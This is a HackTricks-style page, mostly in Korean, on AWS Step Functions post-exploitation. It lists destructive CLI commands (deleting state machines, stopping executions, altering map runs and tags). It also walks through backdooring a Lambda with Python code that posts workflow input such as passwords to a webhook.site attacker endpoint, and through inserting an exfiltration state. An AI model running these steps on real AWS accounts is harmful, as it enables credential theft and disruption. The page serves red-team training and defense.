AWS - Step Functions Post Exploitation

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Step Functions

For more information about this AWS service, check:

AWS - Step Functions Enum

states:RevealSecrets

이 권한은 실행 내의 비밀 데이터를 노출할 수 있게 합니다. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 파라미터를 true로 설정해야 합니다.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

이 권한을 가진 공격자는 state machine과 그 버전들 및 alias들을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 중단시키고 데이터 손실을 초래하며, 영향을 받은 state machine을 복구하고 복원하는 데 상당한 시간이 필요하게 만들 수 있습니다. 또한 공격자는 사용된 흔적을 은닉하고 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다.

note

  • state machine을 삭제하면 해당 state machine에 연결된 모든 버전과 alias도 함께 삭제됩니다.
  • state machine alias를 삭제해도 이 alias를 참조하는 state machine 버전은 삭제되지 않습니다.
  • 하나 이상의 alias가 현재 참조하고 있는 state machine 버전은 삭제할 수 없습니다.
bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • 잠재적 영향: 중요한 워크플로 중단, 데이터 손실 및 운영 중단.

states:UpdateMapRun

이 권한을 가진 공격자는 Map Run의 failure configuration 및 parallel setting을 조작할 수 있어 허용되는 maximum number of child workflow executions를 증가시키거나 감소시켜 서비스의 동작과 성능에 직접적인 영향을 미칠 수 있습니다. 또한 공격자는 tolerated failure percentage and count를 변조하여 이 값을 0으로 낮출 수 있는데, 이럴 경우 항목이 하나라도 실패하면 전체 map run이 실패하여 state machine execution에 직접적인 영향을 주고 중요한 워크플로를 방해할 수 있습니다.

bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • 잠재적 영향: 성능 저하 및 중요한 워크플로우의 중단.

states:StopExecution

이 권한을 가진 공격자는 모든 상태 머신의 실행을 중지하여 진행 중인 워크플로우와 프로세스를 방해할 수 있습니다. 이는 트랜잭션 미완료, 업무 운영의 중단, 잠재적인 데이터 손상으로 이어질 수 있습니다.

warning

이 동작은 express state machines에서 지원되지 않습니다.

bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • 잠재적 영향: 진행 중인 워크플로의 중단, 운영 중단 및 잠재적 데이터 손상.

states:TagResource, states:UntagResource

공격자는 Step Functions 리소스에 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책을 방해할 수 있습니다.

bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Potential Impact: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.


states:UpdateStateMachine, lambda:UpdateFunctionCode

다음 권한을 가진 사용자 또는 역할을 탈취한 공격자는:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

...는 Lambda backdooring과 Step Function logic manipulation을 결합하여 high-impact and stealthy post-exploitation attack을 수행할 수 있습니다.

이 시나리오는 피해자가 AWS Step Functions를 사용하여 민감한 입력을 처리하는 워크플로우를 오케스트레이션한다고 가정합니다(예: credentials, tokens, 또는 PII).

예시 피해자 호출:

bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

If the Step Function is configured to invoke a Lambda like LegitBusinessLogic, the attacker can proceed with two stealthy attack variants:


Lambda 함수 업데이트

attacker는 Step Function (LegitBusinessLogic)에서 이미 사용 중인 Lambda 함수의 코드를 수정하여 입력 데이터를 은밀하게 exfiltrate합니다.

python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Step Function에 악성 상태 추가

또는 공격자는 Step Function 정의를 업데이트하여 워크플로우 시작 부분에 exfiltration state를 삽입할 수 있다.

malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

공격자는 상태 정의를 다음과 같이 더 은밀하게 업데이트할 수 있습니다 { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } 이렇게 하면 피해자는 차이점을 알아차리지 못할 것입니다.


피해자 설정 (공격 맥락)

  • A Step Function (LegitStateMachine)는 민감한 사용자 입력을 처리하는 데 사용됩니다.
  • LegitBusinessLogic와 같은 하나 이상의 Lambda 함수를 호출합니다.

Potential Impact:

  • 민감한 데이터(예: secrets, credentials, API keys, PII)의 은밀한 유출.
  • 워크플로우 실행에서 눈에 띄는 오류나 실패가 없음.
  • Lambda 코드나 실행 트레이스를 감사하지 않으면 탐지하기 어려움.
  • 백도어가 코드나 ASL 로직에 남아 있으면 장기적인 지속성을 허용함.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기